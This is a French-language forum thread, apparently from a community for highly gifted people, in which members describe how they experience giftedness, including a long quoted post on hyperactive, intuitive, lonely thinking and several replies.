(1) Je faisais bien avec peu d'effort - sauf là ou il fallait cravacher, ce qui me procurait du plaisir.
(2) Je faisais l'effort de répondre "bien" aux questions, de la manière proposée par le prof...tout en adorant explorer des alternatives.
(3) J'ai comblé pas mal de mes lacunes avec du travail bête et synchrone. Mais pas toutes. Il m'en reste. Ailleurs,je cartonnais.
(4) Sans doute le seul point ou je suis 100% doué.
(5) Je suis bon public. Je peux avoir envie de poser des questions profondes, mais si je sens que ça va mettre mon interlocuteur dans l'embarras, je sais meubler avec des banalités.
(6) L'un n'empêche pas l'autre. J'ai adoré nombre de profs. D'une manière générale, en tant qu'auditif, la présence physique d'un professeur m'aide beaucoup. J'ai appris 2-3 trucs par moi-même(à commencer par la programmation), mais sans école, je ne serais pas allé aussi loin, et de loin.
(7) Sur ce point là, je suis très brillant, hélas...

par scorames Mar 14 Avr 2020 - 17:25

j'ai rencontrée un vieux qui se prétend Einstein il aurait 157 DE QI d'aprés lui huhu
bien entendu il se dit plus intelligent que moi et que tout le monde
il est d'une certitude absolue sur son intelligence ,le doute n'encombre pas son esprit,
il est instruit sur certains aspect , j'en rie , pas d'ouverture d'esprit non plus
aucune sensibilité hors norme , c'est un comble tout de même , je vous le présente se mec ??
,qu'en faire ??
je trace ma route ...

par scorames Mar 14 Avr 2020 - 17:29

ZEB robin williams c'est suicidé il me semble , c'est classic de prendre en psychiatrie un surdoué pour un bipolaire, il était sois disant bipolaire , si l'info est vrais .

par Kyriakos Jeu 10 Sep 2020 - 11:35

Ton message est une claque
Je ne suis pas THQI, d'ailleurs j'ai toujours du mal à me convaincre que j'ai ma place ici. Mais pourquoi une émotion si forte m'envahie en lisant ton message?
Comme si je l'avais écrit, comme s'il venait mettre des mots sur cette source en haut, cette évidence pré-verbale que je pensais partager avec ensemble de l'humanité et qui me fait sentir en même temps si bizarre parmi les autres.
Ce sentiment que j'ai ma place ici. Qu'il n'est pas "normal" que les deux seuls moments d'harmonie intellectuelle soient lorsque je suis en quasi hypnose (par les effets du sommeil, de l'alcool ou la fatigue extrême), ou lorsque dans une conversation je me met en retrait, comme en pilote automatique, presque en trance et que je me mets à écouter mon esprit qui a enfin pris la parole. Ces instants délicieux où je m'entend dire des mots directement sans les avoir pensés et sélectionnés, digérés, censurés... Ou je peux enfin savoir ce que je pense. Et, admiratif, prendre quelques instants enfin confiance en moi. Mais rapidement je redescend: lui n'est pas moi. Moi je l'admire, il prend parfois la parole quand il en a envie et j'usurpe les louanges qui lui sont faites. C'est lui qui est brillant. Pas moi.
Parfois il me souffle les réponses comme par pitié parce qui'il voit que je n'y arrive pas. Mais le reste du temps, il est cruel, il va comme me donner la réponse en me disant que maintenant c'est à moi d'aller expliquer pourquoi elle l'est. Je n'ai pas accès à ce génie. Il m'est extérieur et pourtant si profondément en moi.
Ce que m'a révélé ce diagnostic, ce que me révèle ton texte, c'est que ce lui est bien moi. Je n'ai plus à culpabiliser. Si il devait écrire une chanson ou peindre une toile je pourrais enfin dire "oui J'AI bien fait cela". Ce n'est pas un autre. Il ne te juge pas.
Bonne journée et merci pour ton témoignage

Fata Morgana a écrit:
N'empêche que ce fil me tape sur la calebasse. Si je fais la liste (que je n'ai pas en tête) des caractéristiques qu'on relève dans ce créneau (...) j'ai l'impression de m'en coltiner un bon paquet...Mais en broussailles si on veut. Je me suis farci tout le début de la discussion et j'ai ce sentiment que Lanza demandait: "Ça fait comment d'être THQI pour savoir comment ça fait et voir si des fois ça n'expliquerait pas ceci cela.." Question fichtrement flippante...
Alors Voilà : Dans ma tête tout est flou et clair à la fois. je me trouve complètement somnolent, mais comme une eau qui dort, qu'un rien ranimerait.
Je ressens mille fois avant de penser (ce qui consiste en fait à mettre des mots sur un ressenti, en deuxième position) et je "sens: oui/non, c'est ça /c'est pas ça" sans toujours en retrouver et même rechercher la cause.
Je me suis tellement habitué à suivre mon ressenti (en couleurs et atmosphères afférentes) que je ne "pense plus". Je désembrouille par la suite ma pensée qui est comparable à un paquet cadeau. Je sais avant de savoir. C'est très vrai au niveau du discernement des "types" psychologiques.
La plupart du temps je culpabilise d'être sur ce forum et m'émerveille de voir tant d'esprit, et me dis que je devrais retourner dans ma tanière tout en sachant très bien que j'ai mon mot à dire et mon grain de sel pareil.
Parfois, ce qui me met mal à l'aise c'est la manière dont j'ai le sentiment que mes interlocuteurs plafonnent et ne vont pas au bout des choses, là où les mots ne vont pas forcément. Au bout de leur logique. Même ici. D'autres fois c'est de m'apercevoir de l'incompréhension que suscite ce qui me semble une telle évidence que j'en bâcle l'expression, après quoi ça me revient comme "non assimilé" par les autres.
J'en éprouve de la surprise et le sentiment d'être étrange, bizarre, je fais l'impasse trop vite, je connais déjà ça...Alors je ne précise pas. C'est une histoire d'implicites qui en fait ne sont pas partagés.
Est-ce que je vais oser le dire...? En fait ma pensée en arborescence fonctionne en mode descendant: de haut (là où tout est un, où tous les vocables semblent provenir d'une source unique) vers l'expression, qui est l'embouchure des idées. Alors je commet des oublis dans ma précipitation à le dire sans suffisamment respecter les étapes de l'un à l'autre, et c'est là le point nodal de l'incompréhension que je rencontre si souvent et qui me frappe.
( Qui peut m'aider sur ce point en confirmant ou en en infirmant ?)
Je n'ai pas beaucoup d'humour, parce qu'au fond de moi il y a une atmosphère très grave, ni lourde, ni pompeuse, mais faite d'une sorte de silence hyperconcentré - sans lequel tout est horriblement plat et douloureusement insubstantiel...Ce silence est la toile de fond sur laquelle se déroule ma pensée. Imaginez une nuit étoilée.
Je suis assoiffé d'empathie: je ne comprends pas (je ne peux admettre, je veux dire au niveau du noyau de mon être,) les antipathies qui ne peuvent qu'être des incompréhensions de surface, un état de conscience qui n'a pas fini de mûrir, c'est passager...
Et par exemple l'idée qu'on me prête des calculs dont je suis innocent et incapable me terrifie. Mon entourage (tout) me semble totalement insouciant. je vois des dangers au premier regard là où il se lance allégrement à prendre des initiatives dont j'entrevois les périls. Je n'oublie jamais les faits-divers d'accidents idiots.
Cette sensation d'une évidence qui se pose là, préverbale, concernant x sujet, que je ne prends même plus le temps de formuler ou formaliser est extrêmement angoissante parce qu'on se demande comment les autres ne l'éprouvent pas. On ne voit là que de la mauvaise foi assumée et c'est extrêmement désespérant ! On se sent responsable de tout, on ne peut sans se déchirer attrister même un "adversaire".
Les tensions entre les personnes sont perçues de manière si aigües qu'on en souffre même pour une broutille que personne n'a remarqué.
On déshabille tout, tout le temps, les gestes, les attitudes, les postures, les "effets de style" dont chacun s'environne. On lit les ruses de l'auteur dans son livre ("L'a t-il voulu ?" "Là c'est trop "écrit"), tout est comme nu et à découvert.
On a aussi l'impression que le volume sonore - la présence - de la pensée est très élevée, comme si cette voix parlait très près et surtout absolument sans arrêt, sur tout, et fait feu de tout bois. je me suis surpris à continuer un texte en dormant.
On a un ressenti corporel désagréable (surtout mon coté gauche).
On ne PEUT pas comprendre ce qu'on n'aime pas ! Inutile l'effort qu'on en fait pas parce qu'on le sait voué à l'échec...Inutile livre posé devant moi parce que "ce n'est pas l'heure".
On ne rencontre quasiment que du connu, comme si on avait déjà pensé à tout ça... On ne comprend pas les "politesses" et autres bourrades amicales, quelles soient verbales ou non. Car on est situé intérieurement dans un autre contexte mental.
On flaire la vérité, on la cherche dans des latrines autant que chez les auteurs, on est sur sa piste sans arrêt. On scrute tout, décompose tout, sans le faire exprès et souvent les choses cachées nous sautent au visage. Cette tête est un véritable scanneur.
On analyse depuis plus de trente ans une situation vécue enfant avec un camarade de jeu, comme si la situation voulait nous dire quelque chose d'essentiel. L'essentiel ! Le mot est lâché ! On est des malades de l'essentiel, du cœur des choses, on attend de tout la RÉVÉLATION ultime.
On fouine, on parcourt tout le net avec une vigueur enragée, les dictionnaires, les articles, les images, les blogs, les forums, tout ce qui peut contribuer à notre mixture; et on touille, on apprend ça, on élimine ça, comme un maniaque, sans arrêt, on s'émerveille, s'apitoie, étudie, analyse, mais tout cela à la fois.
On dévide des pelotes dans nos têtes, on suit des filons, on les oublie pour un filon plus consonant, c'est une oisiveté si affairée qu'on s'attend à voir de la fumée sortir de la tête et de la poussière de la pièce.
On met en relation des éléments disparates, mais parfois si vite que ça se fait sans nous.
Une ribambelle de souvenirs est exhumée au contact d'un détail apparemment anodin.
Il faut écrire ( le dire !!! C'est impérieux) mais vérifier, approfondir , diverger, revenir, tout est là comme une énorme marmite au fond de laquelle bout... tout ! Tout le temps !
Un seul moyen de réfréner le mouvement: se concentrer sur UNE seule chose, quand ça arrive, arrive la paix, l'harmonie. Tout le reste du temps il y a un chahut, un appétit incessant, de stimulations surtout, surtout ne pas rester inemployé, ne pas avoir à moudre du vent !
Et là ça sonne à la porte... Comment croyez-vous que le contact va se faire ?
C'est simple, la société, le temps, les besoins sont et ne sont que des intrus qui débarquent au milieu d'un travail qui continue, continue sans fin.
Mon silence hébété me semble venir du fait que tout est indicible...Il y faudrait des tomes et des tomes...
Qu'en dîtes-vous ? Est-ce que je suis fou ?
Edit Ps.
La "poésie" ? La belle affaire ! Mais voyons...Elle seule permet des raccourcis, des accélérés, elle seule permet la plus entière LIBERTÉ du dire ! De ramasser en une phrase dix idées d'un coup ! Voilà pourquoi la poésie ! C'est la poésie qui est le plus pratique, le plus commode, et en plus, on fait ça en s'amusant ! Extraordinaire polyvalence qui autorise un lâcher de lest assez massif pour tout rendre d'un vécu à très vive allure ! Elle est comme le rêve, condensant mille concepts en quelque lignes ! Et c'est cette forme qui seule (y compris mentalement) autorise de gérer, ordonner la fuite en avant des pensées ! Voilà pourquoi !

Edit Ps 2

Et la pensée des autres où la positionner dans l'infini ? D'où parlent-ils ? Et d'où s'attendent -ils que je
parle ? En psy ? En artiste ? en philosophe ? en plaisantin ? en surdoué ? comment savoir ?

Edit 3 (bien plus tard) j'ai jeté ça sur le papier. Je n'ai pas parlé de la sidération devant l'entêtement des "autres", ou devant la haine spontanée qu'ils manifestent parfois sans le voir. Les coups ressentis presque physiquement en face de leur lourderie, les menaces qu'on perçoit avant les autres, et qui nous attirent des moqueries. La brutalité des faits qui laissent pantois, l'évidente fin funeste qu'on pressent devant une action
déraisonnable.
L'incompréhension vécue comme un rejet, le rejet comme un acte si douloureux qu'incompréhensible.
Le fait de s'attirer des ennemis inattendus.
Le fait d'avoir la tête vide parce que personne ne nous "exploite".
Le fait de se sentir débile parce qu'on ne turbine pas à plein régime.
Le fait de tomber des nues quand quelqu'un parle après soi - et on se dit : " Quoi, il n'en était que là ?".
Le fait que les gens semblent inconstants et ne mesurent pas la portée de leurs actes ou paroles.
Le fait des regards curieux qu'on nous porte après une réflexion qu'on a faite naturellement.
Le fait que s'il fallait dire ce que l'on veut vraiment dire il faudrait revoir toute la culture de notre interlocuteur.
Le fait de ne pas pouvoir rester plus d'un quart d'heure d'affilée dans une salle bondée de gens parce qu'on a besoin de "prendre du recul" = réfléchir.
Le fait que l'on voit sa vie passer sans rien qui la matérialise vraiment.
Le fait que le monde s'accoutume à des horreurs qu'on ne peut comprendre.
Le fait d'être une personne à laquelle on parle, mais qui en est une autre.
Le fait de subir le poids du jugement et de la frime d'un pécore qui n'a pas la moindre idée de ce que l'on sait.
Le fait d'être contredit sans raison, comme si le dialogue était un jeu !
Le fait d'avoir l'âme déchirée au milieu de gens qui s'amusent.
Le fait de suivre la musique des yeux pendant que d'autres bavassent alentour.
Le fait de devoir être jugé sur des apparences en étant ignoré sur le fond.
Le fait de s'en vouloir de ne pas tout comprendre de la science, de l'économie, de la politique, de l'histoire, et tout le reste.
Le sentiment d'une journée passée à faire la même chose que la veille: penser, penser, penser, et de se coucher en y repensant.
Le fait d'éprouver ses maladresses comme des erreurs irrécupérables. Le fait de se sentir dans la rue en territoire ennemi.
Le fait d'anticiper sa mort sous tous les angles.
Le fait de ne pas supporter d'avoir les mains mouillées.
Le fait de danser seul.
Le fait de pleurer pour un mot, une note, et de n'avoir personne à qui le dire.
Le fait que nos enthousiasmes tombent à plat.
Le fait que nos intuition passent pour des hypothèses quelconques...
Combien d'autres choses encore qu'on est obligé de passer sous silence pour ne pas être vu comme un simple pleurnichard...La prévisibilité de tout. Ou plutôt la sempiternelle redite de tout. Ce cycle haut/ bas, des anges à la boue en une soirée.
Combien en voulez-vous - combien en veux-tu Lanza, de ces signes ?
Tu le sais que tu le vis. Tout au plus tu ne l'aurais pas dit ainsi.
Parce que je tape comme on se débarrasse, je bâcle. C'est juste que cela n'est pas quantifiable en termes d'isolement, de ruminations, d'attentes déçues.
je lis plus haut "l'intelligence sociale"...Ah, quel saint projet, oui, mais comment on fait ? Comment on fait pour se sentir bien dans cet exil, en faisant semblant ? Mais on n'aime pas mentir ! En utilisant la méthode Coué ? Mais on n'aime pas se mentir !
En étant décidément content d'être entourés de gens qui fonctionnent ailleurs autrement, et savent vous le faire sentir ? Mais si on peut utiliser cette "intelligence sociale, c'est que c'est pas bien grave allez.
Mais moi j'ai juste l'impression d'un emplâtre sur une jambe de bois...Comment marcher droit quand on est boiteux ? En le voulant ?